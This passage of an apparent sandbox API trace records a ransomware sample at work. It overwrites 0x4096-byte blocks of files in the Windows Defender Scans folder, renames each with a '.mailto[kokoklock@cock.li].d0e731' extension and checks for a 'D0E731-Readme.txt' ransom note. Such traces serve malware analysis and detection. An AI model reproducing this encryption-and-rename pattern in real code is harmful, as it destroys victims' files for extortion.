RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0079.089] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0xcf9bad, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.089] ReadFile (in: hFile=0x3f0, lpBuffer=0x348d230, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2153f6dc, lpOverlapped=0x0 | out: lpBuffer=0x348d230*, lpNumberOfBytesRead=0x2153f6dc*=0x4096, lpOverlapped=0x0) returned 1 [0083.195] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0xcf9bad, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.195] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd508 [0083.195] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0083.195] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342ce20 [0083.195] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342ce20) returned 1 [0083.196] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b6388 [0083.196] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342ce20 [0083.196] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cda8 [0083.196] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cda8) returned 1 [0083.196] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0083.196] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd508) returned 1 [0083.196] WriteFile (in: hFile=0x3f0, lpBuffer=0x34b6388*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2153f6dc, lpOverlapped=0x0 | out: lpBuffer=0x34b6388*, lpNumberOfBytesWritten=0x2153f6dc*=0x4096, lpOverlapped=0x0) returned 1 [0083.196] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b6388) returned 1 [0083.196] WriteFile (in: hFile=0x3f0, lpBuffer=0x3493338*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2153f738, lpOverlapped=0x0 | out: lpBuffer=0x3493338*, lpNumberOfBytesWritten=0x2153f738*=0x20, lpOverlapped=0x0) returned 1 [0083.197] WriteFile (in: hFile=0x3f0, lpBuffer=0x3492708*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2153f738, lpOverlapped=0x0 | out: lpBuffer=0x3492708*, lpNumberOfBytesWritten=0x2153f738*=0x20, lpOverlapped=0x0) returned 1 [0083.197] WriteFile (in: hFile=0x3f0, lpBuffer=0x342ce20*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2153f738, lpOverlapped=0x0 | out: lpBuffer=0x342ce20*, lpNumberOfBytesWritten=0x2153f738*=0x20, lpOverlapped=0x0) returned 1 [0083.197] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348d230) returned 1 [0083.197] WriteFile (in: hFile=0x3f0, lpBuffer=0x3492820*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2153f740, lpOverlapped=0x0 | out: lpBuffer=0x3492820*, lpNumberOfBytesWritten=0x2153f740*=0x8, lpOverlapped=0x0) returned 1 [0083.197] WriteFile (in: hFile=0x3f0, lpBuffer=0x2153f758*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2153f740, lpOverlapped=0x0 | out: lpBuffer=0x2153f758*, lpNumberOfBytesWritten=0x2153f740*=0x4, lpOverlapped=0x0) returned 1 [0083.197] WriteFile (in: hFile=0x3f0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2153f740, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2153f740*=0x4, lpOverlapped=0x0) returned 1 [0083.197] WriteFile (in: hFile=0x3f0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2153f740, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2153f740*=0x6c, lpOverlapped=0x0) returned 1 [0083.197] WriteFile (in: hFile=0x3f0, lpBuffer=0x3493310*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2153f740, lpOverlapped=0x0 | out: lpBuffer=0x3493310*, lpNumberOfBytesWritten=0x2153f740*=0x20, lpOverlapped=0x0) returned 1 [0083.197] WriteFile (in: hFile=0x3f0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2153f740, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2153f740*=0x4, lpOverlapped=0x0) returned 1 [0083.197] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3493310) returned 1 [0083.198] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492730) returned 1 [0083.198] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492820) returned 1 [0083.198] CloseHandle (hObject=0x3f0) returned 1 [0083.198] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x11a) returned 0x34236a0 [0083.198] wcscpy (in: _Dest=0x34236a0, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.80" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.80") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.80" [0083.198] wcscat (in: _Dest=0x34236a0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.80.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.80.mailto[kokoklock@cock.li].d0e731" [0083.198] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.80" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\mpcache-3b2fa0352f7866f295fe76520c4d8ac0f30337f5.bin.80"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.80.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\mpcache-3b2fa0352f7866f295fe76520c4d8ac0f30337f5.bin.80.mailto[kokoklock@cock.li].d0e731")) returned 1 [0086.605] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.80.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0086.605] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34236a0) returned 1 [0086.606] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.80", dwFileAttributes=0x20) returned 0 [0086.606] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8e) returned 0x348be38 [0086.606] wcscpy (in: _Dest=0x348be38, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\" [0086.606] wcscat (in: _Dest=0x348be38, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\D0E731-Readme.txt" [0086.606] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\d0e731-readme.txt")) returned 0x20 [0086.606] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348be38) returned 1 [0086.606] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347a1e0) returned 1 [0086.606] RtlExitUserThread (Status=0x1) Thread: id = 913 os_tid = 0x1548 [0079.084] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.83" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\mpcache-3b2fa0352f7866f295fe76520c4d8ac0f30337f5.bin.83")) returned 0x820 [0079.090] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.83", dwFileAttributes=0x20) returned 1 [0079.090] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.83" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\mpcache-3b2fa0352f7866f295fe76520c4d8ac0f30337f5.bin.83"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5cc [0079.090] GetFileSizeEx (in: hFile=0x5cc, lpFileSize=0x215bfd34 | out: lpFileSize=0x215bfd34*=1933112) returned 1 [0079.090] SetFilePointerEx (in: hFile=0x5cc, liDistanceToMove=0x1d7f34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.090] ReadFile (in: hFile=0x5cc, lpBuffer=0x215bfd08, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x215bfd04, lpOverlapped=0x0 | out: lpBuffer=0x215bfd08*, lpNumberOfBytesRead=0x215bfd04*=0x4, lpOverlapped=0x0) returned 1 [0079.092] SetFilePointerEx (in: hFile=0x5cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.092] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34925f0 [0079.092] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492500 [0079.092] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34926e0 [0079.092] NtQuerySystemTime (in: CurrentTime=0x215bfce0 | out: CurrentTime=0x215bfce0*=132121176369854523) returned 0x0 [0079.092] RtlRandom (in: Seed=0x215bfcec | out: Seed=0x215bfcec) returned 0x5d42695e [0079.092] RtlRandom (in: Seed=0x215bfcec | out: Seed=0x215bfcec) returned 0xbe500c5a [0079.092] RtlRandom (in: Seed=0x215bfcec | out: Seed=0x215bfcec) returned 0x94221384 [0079.092] RtlRandom (in: Seed=0x215bfcec | out: Seed=0x215bfcec) returned 0xf690815 [0079.092] RtlRandom (in: Seed=0x215bfcec | out: Seed=0x215bfcec) returned 0x2aca2948 [0079.092] RtlRandom (in: Seed=0x215bfcec | out: Seed=0x215bfcec) returned 0x967bccb2 [0079.092] RtlRandom (in: Seed=0x215bfcec | out: Seed=0x215bfcec) returned 0x807070c1 [0079.092] RtlRandom (in: Seed=0x215bfcec | out: Seed=0x215bfcec) returned 0x8f378e1b [0079.092] RtlRandom (in: Seed=0x215bfcec | out: Seed=0x215bfcec) returned 0x94c5dcdf [0079.092] RtlRandom (in: Seed=0x215bfcec | out: Seed=0x215bfcec) returned 0xdd1a83a6 [0079.092] RtlRandom (in: Seed=0x215bfcec | out: Seed=0x215bfcec) returned 0x6f1da40d [0079.092] RtlRandom (in: Seed=0x215bfcec | out: Seed=0x215bfcec) returned 0xeb81a936 [0079.093] RtlRandom (in: Seed=0x215bfcec | out: Seed=0x215bfcec) returned 0xb289b732 [0079.093] RtlRandom (in: Seed=0x215bfcec | out: Seed=0x215bfcec) returned 0xc2f4a8d3 [0079.093] RtlRandom (in: Seed=0x215bfcec | out: Seed=0x215bfcec) returned 0x24ab1226 [0079.093] RtlRandom (in: Seed=0x215bfcec | out: Seed=0x215bfcec) returned 0x7de7cd79 [0079.093] RtlRandom (in: Seed=0x215bfcec | out: Seed=0x215bfcec) returned 0x238738eb [0079.093] RtlRandom (in: Seed=0x215bfcec | out: Seed=0x215bfcec) returned 0xdfdd98e1 [0079.093] RtlRandom (in: Seed=0x215bfcec | out: Seed=0x215bfcec) returned 0x68590398 [0079.093] RtlRandom (in: Seed=0x215bfcec | out: Seed=0x215bfcec) returned 0x81422bde [0079.093] RtlRandom (in: Seed=0x215bfcec | out: Seed=0x215bfcec) returned 0x7a2d6b7e [0079.093] RtlRandom (in: Seed=0x215bfcec | out: Seed=0x215bfcec) returned 0x6a5a7296 [0079.093] RtlRandom (in: Seed=0x215bfcec | out: Seed=0x215bfcec) returned 0x2b0ed0de [0079.093] RtlRandom (in: Seed=0x215bfcec | out: Seed=0x215bfcec) returned 0xa414f912 [0079.093] RtlRandom (in: Seed=0x215bfcec | out: Seed=0x215bfcec) returned 0x42349978 [0079.093] RtlRandom (in: Seed=0x215bfcec | out: Seed=0x215bfcec) returned 0x677e78a9 [0079.093] RtlRandom (in: Seed=0x215bfcec | out: Seed=0x215bfcec) returned 0x5b87308c [0079.093] RtlRandom (in: Seed=0x215bfcec | out: Seed=0x215bfcec) returned 0xed97aca4 [0079.093] RtlRandom (in: Seed=0x215bfcec | out: Seed=0x215bfcec) returned 0x7e6fe254 [0079.093] RtlRandom (in: Seed=0x215bfcec | out: Seed=0x215bfcec) returned 0x335aef76 [0079.093] RtlRandom (in: Seed=0x215bfcec | out: Seed=0x215bfcec) returned 0x9b3a6241 [0079.093] RtlRandom (in: Seed=0x215bfcec | out: Seed=0x215bfcec) returned 0xa369a34d [0079.104] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0079.104] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34925f0) returned 1 [0079.104] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0079.104] SetFilePointerEx (in: hFile=0x5cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.104] ReadFile (in: hFile=0x5cc, lpBuffer=0x3482218, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x215bfca0, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x215bfca0*=0x4096, lpOverlapped=0x0) returned 1 [0079.106] SetFilePointerEx (in: hFile=0x5cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.106] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcce0 [0079.106] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0079.106] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492488 [0079.106] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492488) returned 1 [0079.106] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0079.108] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492640 [0079.108] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34924d8 [0079.108] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34924d8) returned 1 [0079.108] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0079.108] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcce0) returned 1 [0079.108] WriteFile (in: hFile=0x5cc, lpBuffer=0x349e2d0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x215bfca0, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesWritten=0x215bfca0*=0x4096, lpOverlapped=0x0) returned 1 [0079.108] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0079.108] SetFilePointerEx (in: hFile=0x5cc, liDistanceToMove=0xee292, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.108] ReadFile (in: hFile=0x5cc, lpBuffer=0x3482218, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x215bfca0, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x215bfca0*=0x4096, lpOverlapped=0x0) returned 1 [0079.111] SetFilePointerEx (in: hFile=0x5cc, liDistanceToMove=0xee292, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.111] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd358 [0079.111] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480570 [0079.111] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492780 [0079.111] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492780) returned 1 [0079.111] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0079.111] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492780 [0079.111] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34925a0 [0079.111] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34925a0) returned 1 [0079.111] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0079.111] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0079.111] WriteFile (in: hFile=0x5cc, lpBuffer=0x349e2d0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x215bfca0, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesWritten=0x215bfca0*=0x4096, lpOverlapped=0x0) returned 1 [0079.112] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0079.112] SetFilePointerEx (in: hFile=0x5cc, liDistanceToMove=0x1d3ea2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.112] ReadFile (in: hFile=0x5cc, lpBuffer=0x3482218, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x215bfca0, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x215bfca0*=0x4096, lpOverlapped=0x0) returned 1 [0079.112] SetFilePointerEx (in: hFile=0x5cc, liDistanceToMove=0x1d3ea2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.112] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fced8 [0079.112] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347fee0 [0079.112] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34924b0 [0079.112] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34924b0) returned 1 [0079.113] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0079.113] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492668 [0079.113] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492410 [0079.113] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492410) returned 1 [0079.113] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fee0) returned 1 [0079.113] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fced8) returned 1 [0079.113] WriteFile (in: hFile=0x5cc, lpBuffer=0x349e2d0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x215bfca0, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesWritten=0x215bfca0*=0x4096, lpOverlapped=0x0) returned 1 [0079.113] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0079.113] WriteFile (in: hFile=0x5cc, lpBuffer=0x3492640*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x215bfcfc, lpOverlapped=0x0 | out: lpBuffer=0x3492640*, lpNumberOfBytesWritten=0x215bfcfc*=0x20, lpOverlapped=0x0) returned 1 [0079.113] WriteFile (in: hFile=0x5cc, lpBuffer=0x3492780*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x215bfcfc, lpOverlapped=0x0 | out: lpBuffer=0x3492780*, lpNumberOfBytesWritten=0x215bfcfc*=0x20, lpOverlapped=0x0) returned 1 [0079.114] WriteFile (in: hFile=0x5cc, lpBuffer=0x3492668*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x215bfcfc, lpOverlapped=0x0 | out: lpBuffer=0x3492668*, lpNumberOfBytesWritten=0x215bfcfc*=0x20, lpOverlapped=0x0) returned 1 [0079.114] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0079.114] WriteFile (in: hFile=0x5cc, lpBuffer=0x3492848*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x215bfd04, lpOverlapped=0x0 | out: lpBuffer=0x3492848*, lpNumberOfBytesWritten=0x215bfd04*=0x8, lpOverlapped=0x0) returned 1 [0079.114] WriteFile (in: hFile=0x5cc, lpBuffer=0x215bfd1c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x215bfd04, lpOverlapped=0x0 | out: lpBuffer=0x215bfd1c*, lpNumberOfBytesWritten=0x215bfd04*=0x4, lpOverlapped=0x0) returned 1 [0079.114] WriteFile (in: hFile=0x5cc, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x215bfd04, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x215bfd04*=0x4, lpOverlapped=0x0) returned 1 [0079.114] WriteFile (in: hFile=0x5cc, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x215bfd04, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x215bfd04*=0x6c, lpOverlapped=0x0) returned 1 [0079.114] WriteFile (in: hFile=0x5cc, lpBuffer=0x3492500*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x215bfd04, lpOverlapped=0x0 | out: lpBuffer=0x3492500*, lpNumberOfBytesWritten=0x215bfd04*=0x20, lpOverlapped=0x0) returned 1 [0079.114] WriteFile (in: hFile=0x5cc, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x215bfd04, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x215bfd04*=0x4, lpOverlapped=0x0) returned 1 [0079.114] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492500) returned 1 [0079.114] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492758) returned 1 [0079.114] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492848) returned 1 [0079.114] CloseHandle (hObject=0x5cc) returned 1 [0079.114] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x11a) returned 0x33e20f8 [0079.115] wcscpy (in: _Dest=0x33e20f8, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.83" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.83") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.83" [0079.115] wcscat (in: _Dest=0x33e20f8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.83.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.83.mailto[kokoklock@cock.li].d0e731" [0079.115] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.83" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\mpcache-3b2fa0352f7866f295fe76520c4d8ac0f30337f5.bin.83"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.83.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\mpcache-3b2fa0352f7866f295fe76520c4d8ac0f30337f5.bin.83.mailto[kokoklock@cock.li].d0e731")) returned 1 [0079.115] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.83.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x820) returned 1 [0079.116] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e20f8) returned 1 [0079.116] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.83", dwFileAttributes=0x820) returned 0 [0079.116] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8e) returned 0x348be38 [0079.116] wcscpy (in: _Dest=0x348be38, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\" [0079.116] wcscat (in: _Dest=0x348be38, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\D0E731-Readme.txt" [0079.116] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\d0e731-readme.txt")) returned 0x20 [0079.116] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348be38) returned 1 [0079.116] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347ad40) returned 1 [0079.116] RtlExitUserThread (Status=0x1) Thread: id = 914 os_tid = 0x154c [0079.105] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.87" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\mpcache-3b2fa0352f7866f295fe76520c4d8ac0f30337f5.bin.87")) returned 0x20 [0079.110] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.87", dwFileAttributes=0x20) returned 1 [0079.117] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.87" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\mpcache-3b2fa0352f7866f295fe76520c4d8ac0f30337f5.bin.87"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x784 [0079.117] GetFileSizeEx 